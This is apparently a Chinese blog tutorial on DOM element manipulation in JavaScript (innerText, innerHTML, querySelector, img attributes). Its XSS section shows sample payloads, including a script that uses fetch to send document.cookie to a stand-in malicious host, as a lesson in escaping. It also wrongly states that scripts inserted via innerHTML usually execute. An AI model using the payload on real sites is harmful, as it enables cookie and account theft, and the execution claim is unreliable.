开篇介绍:
hello 大家,本篇博客我们来学习JavaScript中的操作元素,其实我们上一篇博客就有解析了,只不过本篇博客会更加详细哦~
前置基础:先把 DOM 的本质彻底讲透
在讲任何元素操作之前,我们必须先把「DOM 到底是什么」这件事,从浏览器的底层执行逻辑讲明白 ------ 这是所有元素操作的根基,之前的内容这里铺垫不足,现在我们用最通俗的语言,把它拆解得明明白白。
什么是 DOM?从浏览器加载页面的全过程讲起
你写的 HTML 代码,本质上只是一串纯文本字符串 ,浏览器本身是看不懂这串字符串的,它只认识二进制代码。所以当你在浏览器里打开一个 HTML 文件时,浏览器会做一套完整的、流水线式的工作,其中和我们 DOM 操作最相关的,就是HTML 解析与 DOM 树构建这一步。
我把这个过程拆成 6 个完全无跳步的步骤,每一步都给你讲透:
- 第一步:浏览器读取 HTML 纯文本 浏览器会先把你写的 HTML 文件,从硬盘或者服务器上完整读取下来,拿到一长串连续的纯文本,比如你写的
<div><span>你好</span></div>,在浏览器眼里,一开始只是一串没有任何意义的字符组合,和你随便敲的asdfghjkl没有本质区别。 - 第二步:词法分析 ------ 把字符串拆成 "令牌" 浏览器会启动一个叫「HTML 解析器」的程序,把这串纯文本,按照 HTML 的语法规则,拆成一个个有意义的最小单元,这个单元叫「令牌(Token)」。比如
<div>会被拆成「开始标签令牌,标签名 div」,</div>会被拆成「结束标签令牌,标签名 div」,你好会被拆成「文本令牌,内容你好」。 - 第三步:语法分析 ------ 构建 DOM 树 解析器会拿着这些令牌,按照 HTML 的嵌套规则,生成一个树形结构的对象 ,这个对象,就是文档对象模型(Document Object Model) ,简称 DOM。这里的核心重点来了:DOM 不是你的 HTML 代码,而是浏览器把 HTML 代码解析后,在内存里生成的一个「JavaScript 对象集合」。你的 HTML 代码只是 DOM 的 "设计图纸",而真正存在于浏览器运行内存里的、我们能通过 JS 操作的,是这个由无数个 JS 对象组成的 DOM 树。
- 第四步:每一个 HTML 标签,都会变成一个 JS 对象 你写的每一个 HTML 标签,比如
<div>、<button>、<img>、<input>,在 DOM 树里都会变成一个独立的、专属的 JS 对象,这个对象我们叫它「元素节点对象」,简称「元素对象」。你写在 HTML 标签上的所有内容:标签里的文本、标签上的属性(比如 src、alt、id、class)、标签的嵌套关系,都会被浏览器一一映射到这个元素对象上,变成这个对象的属性和方法。 - 第五步:document 对象 ------DOM 树的总入口 浏览器会给整个 DOM 树,提供一个唯一的、全局的总入口,这个入口就是
document对象。这个对象是浏览器直接挂载到全局作用域里的,你在 JS 的任何地方,都可以直接访问到它。我们所有的 DOM 操作,本质上都是从document这个总入口出发,去找到对应的元素对象,然后修改这个对象的属性和方法。 - 第六步:修改 DOM 对象,页面会实时更新浏览器渲染页面,是根据内存里的 DOM 树来渲染的。也就是说,页面上显示的内容,是 DOM 树的 "可视化结果"。所以当你通过 JS 修改了 DOM 树里的某个元素对象的属性时,浏览器会立刻察觉到这个变化,然后重新渲染页面上对应的部分,你就能在页面上实时看到修改后的效果。
一句话总结所有 DOM 操作的本质:我们写的所有 JS 元素操作代码,本质上就是「从 document 入口找到内存里的元素对象 → 读取 / 修改这个对象的属性 → 浏览器自动同步更新页面渲染」。
这就是为什么我们所有的代码,都是先写document.getElementById()、document.querySelector()------ 因为我们要先从 DOM 树的总入口,找到我们要操作的那个元素对象,把它从内存里 "拿出来",存到一个变量里,后面才能对它进行各种操作。
第一章:获取 / 修改元素内容 超极致逐点解析
1.1 innerText 全维度超详细解析
1.1.1 innerText 的底层定义:到底什么是 "渲染文本内容"?
之前我们说Element.innerText表示一个节点及其后代的 "渲染" 文本内容,这句话我们之前只做了简单解释,现在我们把它拆成 3 个核心关键词,每个词都讲透:
- Element:这里的 Element,指的就是我们从 DOM 树里拿到的「元素节点对象」。也就是说,innerText 不是一个全局的方法,它是每一个元素对象本身就自带的一个属性,每一个 HTML 标签对应的元素对象,都有这个属性。
- 节点及其后代 :这里的 "节点",指的是你调用 innerText 的那个元素本身;"后代",指的是这个元素标签里嵌套的所有子元素、孙元素、重孙元素...... 不管嵌套多少层,都会被 innerText 覆盖到。举个例子:你有一个
<div>,里面嵌套了<p>,<p>里又嵌套了<span>,<span>里有文本。当你调用div.innerText时,它会把 div 里所有嵌套的标签里的文本,全部提取出来,不管嵌套了多少层。 - 渲染文本内容:这是 innerText 最核心的本质,也是它和 innerHTML 最大的区别之一。这里的 "渲染",指的是「浏览器最终把页面画在屏幕上,用户肉眼能看到的文本内容」。这里的底层逻辑是:innerText 在读取内容的时候,不是直接去读你的 HTML 源码,而是先去问浏览器的「渲染引擎」:"这个元素,最终渲染给用户看的文本是什么?",然后把渲染引擎返回的结果给你。这就是为什么 innerText 会忽略 HTML 标签、忽略源码里的换行和空格 ------ 因为浏览器在渲染页面的时候,本身就会把 HTML 标签解析成样式和结构,不会把标签本身显示给用户;也会把源码里的多个空格、回车换行,全部合并成一个空格显示。innerText 只是忠实地把用户最终看到的内容,原封不动地拿给你。
1.1.2 逐行代码解析:innerText 的读操作与写操作
我们先看最基础的 innerText 读写代码,之前的内容里我们只给了代码,现在我们对每一行、每一个字符都做极致解析:
基础示例代码
<button id="btn">点我一下</button>
<script>
var btn = document.getElementById('btn');
btn.onclick = function () {
alert("hello world");
}
// 读操作
var renderedText = HTMLElement.innerText;
// 写操作
HTMLElement.innerText = string;
</script>
逐行逐字符全解析
-
第一行:
<button id="btn">点我一下</button>- 这是一个 HTML 的 button 标签,我们给它加了一个
id="btn"的属性。 - 这里的核心解析:id 属性的作用,就是给这个元素在整个 DOM 树里,加一个唯一的身份证号。整个 HTML 文档里,同一个 id 只能出现一次,这样浏览器才能通过 id,精准地找到这个唯一的元素。
- 标签中间的「点我一下」,是这个 button 元素的「文本子节点」,也就是我们要通过 innerText 读取和修改的内容。
- 这是一个 HTML 的 button 标签,我们给它加了一个
-
第二行:
<script>- 这是 HTML 的脚本标签,浏览器遇到这个标签,就会知道:标签里面的内容,不是 HTML 代码,而是 JavaScript 代码,需要用 JS 解析器来执行。
-
第三行:
var btn = document.getElementById('btn');这一行是 DOM 操作最基础的入门代码,我们把它拆成 4 个部分,每个部分都讲透:var btn:这是在 JS 里,用 var 关键字声明一个变量,变量名叫做 btn。变量的本质,就是在内存里开辟一个小空间,用来存东西。这里我们声明这个变量,就是为了后面把找到的 button 元素对象,存到这个空间里,后面就不用每次都重新找一遍元素了。- 新手误区解析:很多新手会问,为什么不直接写
document.getElementById('btn').onclick = ...,非要存到变量里?这里有两个核心原因:第一,代码可读性更高,你看到 btn 就知道是按钮,不用每次都看一长串代码;第二,性能更高,document.getElementById()每次执行,都会去整个 DOM 树里遍历查找元素,如果你要多次操作这个元素,每次都查找一遍,会浪费性能,存到变量里,只需要查找一次,后面直接用变量就行。
- 新手误区解析:很多新手会问,为什么不直接写
=:这是 JS 里的赋值运算符,不是数学里的等于号。它的作用是:把等号右边的计算结果,存到等号左边的变量里。很多新手会搞反赋值的方向,记住:永远是右边的值,赋给左边的变量。document:这就是我们前面讲的,DOM 树的全局总入口,浏览器给我们提供的全局对象,所有的 DOM 操作都从这里出发。.getElementById('btn'):这是 document 对象自带的一个方法,方法的本质就是 "对象自带的、能完成某个特定功能的函数"。- 我们把这个方法名拆开:
get是获取,Element是元素,By是通过,Id是 id 属性。连起来就是:「通过 id 属性,获取对应的元素对象」。 - 括号里的
'btn',是这个方法的参数,也就是你要找的元素的 id 值,必须和 HTML 标签里写的 id 完全一致,大小写也要一致,因为 HTML 的 id 是大小写敏感的。 - 这个方法的执行结果,就是返回 DOM 树里,id 为 btn 的那个元素对象。如果找不到对应的元素,就会返回 null。
- 我们把这个方法名拆开:
- 这一行代码的完整执行逻辑:浏览器先执行等号右边的代码,从 document 总入口出发,调用 getElementById 方法,在整个 DOM 树里找到 id 为 btn 的 button 元素对象,然后把这个对象,存到左边我们声明的 btn 变量里。从此以后,我们操作 btn 变量,就等于直接操作页面上的那个 button 元素。
-
第四行到第七行:按钮的点击事件注册
btn.onclick = function () { alert("hello world"); }这一段是给按钮注册点击事件,我们之前只说了功能,现在逐行解析底层逻辑:
btn.onclick:btn 是我们存的 button 元素对象,onclick是这个元素对象自带的一个事件属性。所有能和用户交互的元素,都有这个属性,它的作用是:「当这个元素被鼠标点击时,要执行什么代码」。- 底层解析:onclick 属性的默认值是 null,也就是默认点击元素的时候,什么都不做。我们要做的,就是给这个属性,赋值一个函数,当点击事件发生时,浏览器会自动执行这个函数里的代码。
= function () { ... }:这里我们给 onclick 属性,赋值了一个「匿名函数」。匿名函数,就是没有名字的函数,因为我们只需要在这里用一次,不需要在别的地方调用它,所以不用给它起名字。- 新手核心误区解析:很多新手会在这里写
btn.onclick = alert("hello world");,然后发现页面一加载,就弹出了弹窗,根本不用点击按钮。这是最经典的新手错误,我们必须把底层逻辑讲透:- 如果你写
alert("hello world"),浏览器会立刻执行这个 alert 函数,弹出弹窗,然后把 alert 函数的返回值(undefined),赋给 onclick 属性。所以页面一加载就会弹窗,点击按钮反而什么都不做,因为 onclick 里存的是 undefined,不是函数。 - 如果你写
function () { alert("hello world"); },你只是把这个函数的 "代码本体",赋给了 onclick 属性,浏览器不会立刻执行函数里的代码,只会把它存起来,等到点击事件发生的时候,才会执行函数里的代码。 - 一句话记住:给事件属性赋值,必须赋值一个函数本体,而不是函数的执行结果。
- 如果你写
- 新手核心误区解析:很多新手会在这里写
- 函数体里的
alert("hello world");:alert 是浏览器提供的全局方法,它的作用是在页面上弹出一个模态弹窗,弹窗里显示括号里的字符串内容。这里的"hello world"是字符串参数,也就是要显示的内容。
-
第九行:
var renderedText = HTMLElement.innerText;(读操作) 这一行是 innerText 的读操作,我们把每一个细节讲透:- 这里的
HTMLElement,不是让你直接写这个单词,而是一个代指,代指你前面拿到的、具体的元素对象变量,也就是我们前面的 btn。正确的写法应该是var renderedText = btn.innerText;。 - 读操作的底层执行逻辑:当你读取
元素对象.innerText时,浏览器会做这几件事:- 找到这个元素对应的渲染节点,去渲染引擎里拿到这个元素最终渲染给用户的文本内容。
- 把所有后代元素里的文本,全部合并起来,去掉所有 HTML 标签,去掉源码里的换行和多余空格,合并成一个完整的字符串。
- 把这个字符串,作为 innerText 属性的值,返回给你,然后你可以把它存到变量里,做后续的操作。
- 用我们的 button 示例来说,执行
var renderedText = btn.innerText;之后,renderedText 变量里存的,就是字符串"点我一下",也就是按钮上显示给用户看的文本。
- 这里的
-
第十一行:
HTMLElement.innerText = string;(写操作) 这一行是 innerText 的写操作,也就是修改元素的文本内容,我们讲透底层逻辑:- 同样,
HTMLElement代指具体的元素对象,string代指你要设置的字符串内容。比如我们要把按钮的文字改成 "你已经点过了",正确的写法是btn.innerText = "你已经点过了";。 - 写操作的底层执行逻辑:当你给
元素对象.innerText赋值一个字符串时,浏览器会做这几件事:- 先把这个元素里的所有后代节点,全部删除------ 不管你之前里面有多少嵌套的 HTML 标签、多少文本,全部清空。
- 把你赋值的字符串,当成纯文本内容,生成一个新的文本节点,插入到这个元素里。
- 立刻触发页面的重新渲染,把新的文本内容,显示在页面上。
- 这里的核心重点:不管你赋值的字符串里,有没有 HTML 标签,比如
btn.innerText = "<span>你好</span>";,浏览器都会把<span>这些字符,当成纯文本显示在页面上,绝对不会把它解析成 HTML 标签。这就是 innerText 最核心的安全特性,也是它和 innerHTML 最大的区别。
- 同样,
1.1.3 innerText 新手必踩的 5 个坑 全解析
- 坑 1:读取不到隐藏元素的文本 如果一个元素的 CSS 样式里设置了
display: none;,也就是元素在页面上是隐藏的,不参与渲染的,那么你读取这个元素的 innerText,会得到一个空字符串。因为 innerText 是拿 "渲染后的文本",元素不渲染,自然就拿不到文本。- 解决方案:如果你要读取隐藏元素的文本,用 textContent 属性(这个属性是 W3C 标准的,和 innerText 类似,但它会读取所有节点的文本,不管元素是否渲染)。
- 坑 2:赋值的时候忘记加引号 很多新手会写
btn.innerText = 点我一下;,而不是btn.innerText = "点我一下";。这里的核心错误是:在 JS 里,字符串必须用单引号或者双引号包裹起来,否则浏览器会把 "点我一下" 当成变量名,而你没有声明过这个变量,就会报Uncaught ReferenceError: 点我一下 is not defined的错误。 - 坑 3:用 innerText 拼接 HTML 结构,发现标签不生效 很多新手想给元素里加一段带标签的内容,写了
div.innerText = "<p>你好</p>";,然后发现页面上直接显示了<p>你好</p>,而不是一个 p 标签。这就是因为 innerText 永远把内容当成纯文本,不会解析 HTML 标签,这个场景应该用 innerHTML。 - 坑 4:元素还没加载完成,就执行了 JS 代码 很多新手会把 JS 代码写在
<head>标签里,或者写在 HTML 元素的前面,然后发现document.getElementById()返回 null,操作 innerText 时报错。这是因为浏览器是从上到下解析 HTML 代码的,如果你在元素还没被解析成 DOM 节点的时候,就执行 JS 代码去找这个元素,自然是找不到的。- 解决方案:把 JS 代码写在 HTML 元素的后面,也就是
</body>标签的前面,或者给代码加DOMContentLoaded事件监听,等 DOM 树加载完成后再执行 JS 代码。
- 解决方案:把 JS 代码写在 HTML 元素的后面,也就是
- 坑 5:混淆了 innerText 和 value 很多新手会给 input 输入框用 innerText 来获取内容,写了
var content = input.innerText;,然后发现永远拿到空字符串。这是因为 input 是单标签元素,它没有闭合标签里的文本内容,它的内容是存在 value 属性里的,必须用input.value来获取,这个我们在表单属性部分会彻底讲透。
1.2 innerHTML 全维度超详细解析
1.2.1 innerHTML 的底层定义:到底什么是 "HTML 语法表示的元素后代"?
之前我们给 innerHTML 的定义是「设置或获取 HTML 语法表示的元素的后代」,现在我们把这句话拆解得明明白白,讲透它的底层本质。
首先,我们先明确 innerHTML 和 innerText 最核心的底层区别:
- innerText 的操作对象是「渲染后的纯文本」,它只关心用户能看到的文字。
- innerHTML 的操作对象是「元素内部的完整 HTML 结构」,它关心的是元素里的所有 HTML 代码、标签、属性、文本,也就是你写在 HTML 源码里的完整内容。
我们把定义里的两个核心关键词讲透:
- HTML 语法表示 :这是 innerHTML 最核心的特性。也就是说,innerHTML 在读取和赋值的时候,都会把内容当成「符合 HTML 语法规则的代码字符串」来处理,而不是纯文本。
- 当你读取 innerHTML 时,它会把元素内部的所有 HTML 标签、属性、文本、换行空格,完整地转换成 HTML 语法的字符串,原封不动地返回给你。
- 当你给 innerHTML 赋值时,它会把你给的字符串,交给浏览器的 HTML 解析器,当成真正的 HTML 代码来解析,生成对应的 DOM 节点,插入到元素里,替换原来的所有内容。
- 元素的后代:和 innerText 一样,innerHTML 覆盖的是元素内部的所有后代节点,包括所有的子元素、文本节点、注释节点等等,不管嵌套多少层,都会被 innerHTML 完整覆盖。
1.2.2 逐行代码解析:innerHTML 的读操作与写操作
我们用最基础的 innerHTML 示例代码,做逐行逐字符的全解析,彻底讲透它的执行逻辑。
基础示例代码
<div>
<span>hello world</span>
<span>hello world</span>
</div>
<script>
var div = document.querySelector('div');
// 读操作
var content = element.innerHTML;
// 写操作
element.innerHTML = htmlString;
</script>
逐行逐字符全解析
-
第一行到第五行:HTML 结构
<div> <span>hello world</span> <span>hello world</span> </div>- 这里我们写了一个 div 元素,里面嵌套了两个 span 元素,每个 span 里都有文本
hello world。 - 注意:我们在源码里加了换行和缩进,用来排版,这些换行和缩进,在 innerHTML 读取的时候,会完整保留下来,而 innerText 会把它们去掉,这是两者的核心区别之一。
- 这里我们写了一个 div 元素,里面嵌套了两个 span 元素,每个 span 里都有文本
-
第七行:
var div = document.querySelector('div');这一行是获取 div 元素,我们之前讲了 getElementById,现在我们把 querySelector 也彻底讲透:-
querySelector是 document 对象和元素对象都自带的一个方法,它的作用是「通过 CSS 选择器,找到匹配的第一个元素对象」。 -
括号里的
'div',就是 CSS 选择器,这里是标签选择器,意思是找页面上的第一个 div 元素。 -
它和 getElementById 的区别,我们做超详细对比:
特性 getElementById querySelector 查找依据 只能通过 id 属性查找 可以通过所有 CSS 选择器查找(id、class、标签、属性、后代选择器等等) 返回值 找到返回元素对象,找不到返回 null 找到匹配的第一个元素对象,找不到返回 null 性能 极高,浏览器内部对 id 有索引,直接查找,不用遍历 较高,复杂选择器需要遍历 DOM 树匹配 语法 括号里直接写 id 值,不用加# 括号里写 CSS 选择器,id 要加 #,class 要加. -
举个例子:如果我们要找 class 为 box 的元素,getElementById 做不到,但是 querySelector 可以写
document.querySelector('.box');如果我们要找 div 里的 span 元素,可以写document.querySelector('div span'),这就是 querySelector 的强大之处,它支持所有的 CSS 选择器语法,灵活性极高。 -
这一行代码的执行逻辑:浏览器从 document 出发,调用 querySelector 方法,用 div 标签选择器,找到页面上第一个 div 元素对象,把它存到 div 变量里。
-
-
第九行:
var content = element.innerHTML;(读操作)-
这里的 element 代指我们拿到的 div 元素,正确写法是
var content = div.innerHTML;。 -
读操作的底层执行逻辑:当你读取
元素对象.innerHTML时,浏览器会做这几件事:- 遍历这个元素内部的所有后代节点,包括元素节点、文本节点、注释节点等等。
- 把这些节点,完整地转换成符合 HTML 语法的字符串,包括所有的标签名、属性、属性值、文本内容,甚至连你源码里的换行、缩进、空格,都会完整保留下来。
- 把这个完整的 HTML 字符串,作为 innerHTML 属性的值返回给你,存到 content 变量里。
-
用我们的示例来说,执行
var content = div.innerHTML;之后,content 变量里存的字符串,就是:<span>hello world</span> <span>hello world</span>连我们源码里的换行和缩进,都完整保留了下来,和你写的 HTML 源码一模一样。而如果用 innerText 读取,得到的只是
hello world hello world,没有任何标签和换行。
-
-
第十一行:
element.innerHTML = htmlString;(写操作)- 这里的 element 代指 div 元素,htmlString 代指你要设置的 HTML 代码字符串,比如我们要把 div 里的内容改成一个 span 标签,正确写法是
div.innerHTML = '<span>hello js</span>';。 - 写操作的底层执行逻辑:这是 innerHTML 最核心、最强大的部分,我们把它拆成 6 个步骤,讲透浏览器的每一步操作:
- 第一步:清空原有内容 :浏览器会先把这个元素里的所有后代节点,包括所有的元素、文本、注释,全部从 DOM 树里删除,彻底清空这个元素的内部。
- 第二步:解析 HTML 字符串:浏览器会把你赋值的字符串,交给 HTML 解析器,当成真正的 HTML 代码来解析,生成对应的 DOM 节点树。
- 第三步:执行代码中的脚本 :如果你的 HTML 字符串里包含
<script>标签,浏览器会执行里面的 JavaScript 代码(这里有安全限制,部分场景下不会执行,但大部分场景下是可以的,这也是 XSS 安全风险的根源)。 - 第四步:插入新的 DOM 节点:把解析生成的新的 DOM 节点树,完整地插入到这个元素里,成为它的新的后代节点。
- 第五步:触发样式计算:浏览器会计算新插入的元素的 CSS 样式,确定它们的布局和外观。
- 第六步:重新渲染页面:浏览器会把新的 DOM 结构,重新渲染到页面上,你就能立刻看到修改后的效果。
- 这里的核心重点:你赋值的字符串里的所有 HTML 标签,都会被浏览器解析成真正的 DOM 元素,而不是纯文本。比如你写
div.innerHTML = '<span style="color: red;">红色文字</span>';,页面上会显示红色的文字,而不是把<span>标签显示出来。
- 这里的 element 代指 div 元素,htmlString 代指你要设置的 HTML 代码字符串,比如我们要把 div 里的内容改成一个 span 标签,正确写法是
1.2.3 innerHTML 核心特性与安全风险 超详细解析
特性 1:innerHTML 可以一次性生成复杂的 DOM 结构
这是 innerHTML 在实际开发中用得最多的场景,也是它比 innerText、比逐个创建节点更方便的地方。举个例子:你从后端拿到了一个商品列表的数据,是一个数组,里面有 10 个商品对象,每个对象有商品名称、价格、图片地址。如果你要把这些商品渲染到页面上,用 innerHTML 只需要拼接一个 HTML 字符串,一次性赋值就行,代码非常简洁。
- 新手误区解析:很多新手会问,为什么不用 innerText 一个个加?因为 innerText 只能加纯文本,不能生成带标签、带样式、带结构的商品卡片,而 innerHTML 可以直接生成完整的 HTML 结构,这是它不可替代的优势。
特性 2:innerHTML 赋值会覆盖原有内容,拼接要用 +=
很多新手会犯一个错误:想给元素里追加内容,写了div.innerHTML = '<p>新内容</p>';,然后发现原来的内容都没了。这是因为直接用=赋值,会先清空原有内容,再添加新内容。
- 正确的追加写法:
div.innerHTML += '<p>新内容</p>';。这里的+=是 JS 里的追加赋值运算符,它的作用是:把等号右边的字符串,拼接到原来的字符串的后面,再重新赋值给 innerHTML。 - 底层逻辑解析:
div.innerHTML += '新内容',本质上等价于div.innerHTML = div.innerHTML + '新内容'。浏览器会先读取原来的 innerHTML 字符串,把新内容拼到后面,再把完整的字符串重新赋值给 innerHTML,重新解析渲染。
特性 3:innerHTML 的 XSS 安全风险 超详细拆解
这是 innerHTML 最需要注意的地方,之前我们只提了一句,现在我们把它彻底讲透,让你彻底明白什么是 XSS,为什么 innerHTML 会有风险,怎么防范。
什么是 XSS 攻击?
XSS 的全称是跨站脚本攻击(Cross-Site Scripting),简单来说,就是恶意用户,在你的网站里注入恶意的 JavaScript 代码,这些代码会在其他用户的浏览器里执行,从而盗取用户的 cookie、账号信息,或者篡改页面内容,发起钓鱼攻击等等。
而 innerHTML,就是 XSS 攻击最常见的入口之一,因为它会解析 HTML 字符串里的脚本代码,执行里面的 JS。
举一个真实的攻击示例
假设你做了一个留言板功能,用户可以在输入框里输入留言内容,然后你用 innerHTML 把用户的留言显示在页面上。
- 正常用户输入:
你好,这个网站真不错!,你用 innerHTML 插入,页面正常显示,没有任何问题。 - 恶意用户输入:
<script>while(true){alert('你的网站被我黑了!');}</script>,这是一段死循环弹窗的恶意代码。 - 如果你直接用
div.innerHTML = 用户输入的内容;,浏览器会解析这段字符串里的<script>标签,执行里面的恶意代码,所有打开这个留言页面的用户,都会陷入无限弹窗的死循环,只能强制关闭浏览器。 - 更严重的恶意代码:可以写
<script>fetch('https://恶意网站.com/steal?cookie=' + document.cookie)</script>,这段代码会把用户的登录 cookie,发送到恶意用户的服务器上,恶意用户拿到 cookie,就可以冒充这个用户登录你的网站,盗取用户的账号、财产信息。
为什么 innerText 没有这个风险?
因为 innerText 会把所有的内容都当成纯文本,哪怕你输入了<script>标签,它也会把<、>这些字符,当成普通的文本显示在页面上,绝对不会交给 HTML 解析器去解析,更不会执行里面的代码。所以用 innerText 插入用户输入的内容,是绝对安全的,不会有 XSS 风险。
innerHTML 的安全防范方案
如果你必须用 innerHTML 插入用户输入的内容,必须先对内容做「HTML 转义」,也就是把 HTML 里的特殊字符,转换成对应的实体字符,让浏览器不会把它们当成 HTML 标签解析。
- 核心转义规则:
<转换成<>转换成>"转换成"'转换成'&转换成&
- 转义之后,
<script>会变成<script>,浏览器会把它当成纯文本显示,不会解析成标签,自然就不会执行恶意代码了。
1.2.4 innerHTML 新手必踩的 4 个坑 全解析
- 坑 1:用 innerHTML 追加内容,导致事件绑定失效 很多新手会先给元素里的按钮绑定点击事件,然后用
innerHTML +=追加新内容,然后发现原来的按钮的点击事件失效了。- 底层原因:我们前面讲过,innerHTML 赋值(包括 +=)的时候,会先清空元素里的所有原有节点,再重新解析字符串,生成新的节点。原来的节点被删除了,绑定在上面的事件自然也就没了,新生成的节点,需要重新绑定事件。
- 解决方案:要么追加内容后重新绑定事件,要么用事件委托,要么用 appendChild 等节点操作方法追加内容,而不是 innerHTML。
- 坑 2:innerHTML 拼接字符串时,引号嵌套错误 很多新手在拼接 HTML 字符串的时候,会出现单引号和双引号嵌套错误,导致代码报错。比如写了
div.innerHTML = "<p class="text">你好</p>";,这里外层用了双引号,里面的 class 属性也用了双引号,浏览器会把字符串当成"<p class=",后面的内容就会报错。- 解决方案:外层和内层的引号要错开,外层用双引号,内层就用单引号;或者外层用单引号,内层用双引号。正确写法:
div.innerHTML = '<p class="text">你好</p>';。
- 解决方案:外层和内层的引号要错开,外层用双引号,内层就用单引号;或者外层用单引号,内层用双引号。正确写法:
- 坑 3:频繁用 innerHTML+= 追加内容,导致性能极差 很多新手会用 for 循环,循环 100 次,每次都用
innerHTML += '<p>内容</p>'来追加内容。这会导致浏览器每次循环都要清空、重新解析、重新渲染页面,循环 100 次就会触发 100 次重排重绘,性能极差,页面会卡顿。- 解决方案:先在循环里把所有的 HTML 字符串拼接好,存到一个变量里,循环结束后,一次性用 innerHTML 赋值给元素,只触发 1 次解析和渲染。
- 坑 4:用 innerHTML 插入 table、tr、td 等元素,出现结构错乱 HTML 里的 table、tbody、tr、td 等元素,有严格的嵌套规则,如果你直接用
div.innerHTML = '<tr><td>内容</td></tr>',浏览器会因为不符合嵌套规则,把 tr 标签过滤掉,导致结构错乱。- 解决方案:必须按照 HTML 的嵌套规则,生成完整的 table 结构,或者用 createElement 等节点操作方法来创建表格元素。
第二章:获取 / 修改元素属性 超极致全解析(增量版)
之前的内容里,我们讲了元素属性的基础用法,但没有对属性的底层映射逻辑、每一个属性的细节、代码的每一步执行逻辑做极致解析,现在我们彻底补全。
2.1 元素属性的底层本质:HTML 属性与 DOM 对象属性的映射关系
我们之前说,HTML 标签上的属性,会映射成 DOM 元素对象的属性,现在我们把这个映射过程,从浏览器的底层逻辑讲透,让你彻底明白为什么我们可以用元素.属性名来读写属性。
2.1.1 浏览器的属性映射过程 全步骤解析
当浏览器解析 HTML 标签,生成对应的元素对象时,会对标签上的属性,做一套完整的映射处理,步骤如下:
- 第一步:解析 HTML 标签上的属性 浏览器解析 HTML 标签时,会把标签上写的每一个
属性名="属性值",都拆成「属性名」和「属性值」两个部分,比如<img src="rose.jpg" alt="玫瑰花">,会拆成src: rose.jpg、alt: 玫瑰花。 - 第二步:区分标准属性和自定义属性 浏览器会把属性分成两类:
- 标准属性:HTML 规范里定义的、这个标签天生就支持的属性,比如 img 标签的 src、alt、title、width、height;a 标签的 href、target;所有标签都支持的 id、class、style 等等。
- 自定义属性 :你自己随便写的、HTML 规范里没有的属性,比如
<img myattr="123">里的 myattr,就是自定义属性。
- 第三步:标准属性的映射 对于标准属性,浏览器会把它们直接映射成元素对象的一级属性 ,属性名和 HTML 里的属性名基本一致(除了 class 映射成 className,for 映射成 htmlFor 等少数特殊情况),属性值就是 HTML 里写的属性值。
- 这就是为什么我们可以直接写
img.src、img.alt,因为这些标准属性,已经被浏览器映射成了 img 元素对象的一级属性,我们可以直接访问和修改。
- 这就是为什么我们可以直接写
- 第四步:自定义属性的处理 对于自定义属性,浏览器不会把它们映射成元素对象的一级属性,而是会把它们存到元素对象的
attributes属性里,这是一个集合,里面存了元素的所有属性,包括标准属性和自定义属性。- 这就是为什么你写了
<img myattr="123">,然后用img.myattr读取,会得到 undefined,因为它没有被映射成一级属性,必须用img.getAttribute('myattr')才能读取到。
- 这就是为什么你写了
2.1.2 核心规则:修改 DOM 对象属性,会同步更新 HTML 标签属性
这是 DOM 属性操作最核心的规则:对于标准属性来说,DOM 对象属性和 HTML 标签属性是双向绑定的。
- 当你修改了 HTML 标签上的属性,DOM 对象对应的属性值会自动更新。
- 当你用 JS 修改了 DOM 对象的属性值,HTML 标签上对应的属性,也会自动同步更新,浏览器会立刻重新渲染页面。
举个例子:你用 JS 写了img.src = "rose2.png";,不仅 img 元素对象的 src 属性值变了,页面上的 img 标签的 src 属性,也会被改成rose2.png,浏览器会立刻加载新的图片,重新渲染,页面上的图片就会切换。
2.2 逐行代码解析:img 元素属性的读取与修改
我们用之前的 img 元素示例代码,做逐行逐字符的全解析,彻底讲透每一步的执行逻辑。
基础示例代码
<img src="rose.jpg" alt="这是一朵花" title="玫瑰花">
<script>
var img = document.querySelector('img');
console.dir(img);
console.log(img.src);
console.log(img.title);
console.log(img.alt);
img.onclick = function () {
if (img.src.lastIndexOf('rose.jpg') !== -1) {
img.src = './rose2.png';
} else {
img.src = './rose.jpg';
}
}
</script>
逐行逐字符全解析
-
第一行:
<img src="rose.jpg" alt="这是一朵花" title="玫瑰花">这是 HTML 的 img 标签,我们给它加了三个标准属性:src="rose.jpg":src 是 img 标签的核心标准属性,全称是 source,意思是资源地址,它的值是图片的文件路径,浏览器会根据这个路径,加载对应的图片文件,渲染到页面上。alt="这是一朵花":alt 是 img 标签的标准属性,全称是 alternate,意思是替代文本。当图片加载失败时,浏览器会显示这个文本;同时,屏幕阅读器会读取这个文本,给视障用户描述图片内容,是无障碍访问的核心属性。title="玫瑰花":title 是所有 HTML 标签都支持的标准属性,它的作用是,当用户把鼠标悬停在元素上时,浏览器会弹出一个小提示框,显示 title 的内容。
-
**第三行:
var img = document.querySelector('img');**这一行我们之前讲过,就是获取页面上第一个 img 元素对象,把它存到 img 变量里,后面所有的属性操作,都是基于这个元素对象来做的。 -
第四行:
console.dir(img);这一行是查看 img 元素对象的完整结构,我们把 console.dir 的底层逻辑讲透:console是浏览器提供的全局控制台对象,它里面有很多方法,用来在控制台输出信息,方便我们调试代码。dir是 console 对象的一个方法,全称是 directory,意思是目录。它的作用是,把你传入的对象,以 "树形目录" 的形式,完整地打印在控制台里,让你能看到这个对象的所有属性、方法、原型链。- 它和
console.log的核心区别:对于 DOM 元素对象,console.log(img)会把元素打印成 HTML 标签的形式,就像你在 Elements 面板里看到的一样,方便你看结构;而console.dir(img)会把元素打印成 JS 对象的形式,让你能看到它所有的属性和方法,这就是我们为什么要用 console.dir 来查看元素对象的属性。 - 执行这一行代码后,你打开控制台,就能看到 img 元素对象的完整结构,里面有我们讲的 src、alt、title、innerText、innerHTML、onclick 等等几百个属性和方法,这就是浏览器给我们生成的、完整的元素对象。
-
第五行到第七行:读取属性并打印
console.log(img.src); console.log(img.title); console.log(img.alt);这三行是读取 img 元素的三个标准属性,把它们的值打印到控制台里,我们讲透每一个细节:
console.log():是 console 对象最常用的方法,作用是把括号里的内容,打印到控制台里,是我们调试代码最常用的工具。img.src:读取 img 元素对象的 src 属性值。这里有一个核心细节:浏览器读取 src 属性时,会把你写的相对路径rose.jpg,自动解析成完整的绝对 URL 地址 ,比如http://127.0.0.1:5500/rose.jpg,而不是你写的相对路径字符串。- 底层原因:src 属性对应的是资源的完整地址,浏览器在加载图片的时候,会把相对路径转换成绝对路径,所以映射到 DOM 对象上的 src 属性,就是完整的绝对 URL。
img.title和img.alt:读取这两个属性时,会直接返回你在 HTML 里写的字符串,不会做任何转换,是什么就返回什么。- 执行这三行代码后,控制台会依次打印出图片的完整 URL 地址、
玫瑰花、这是一朵花。
-
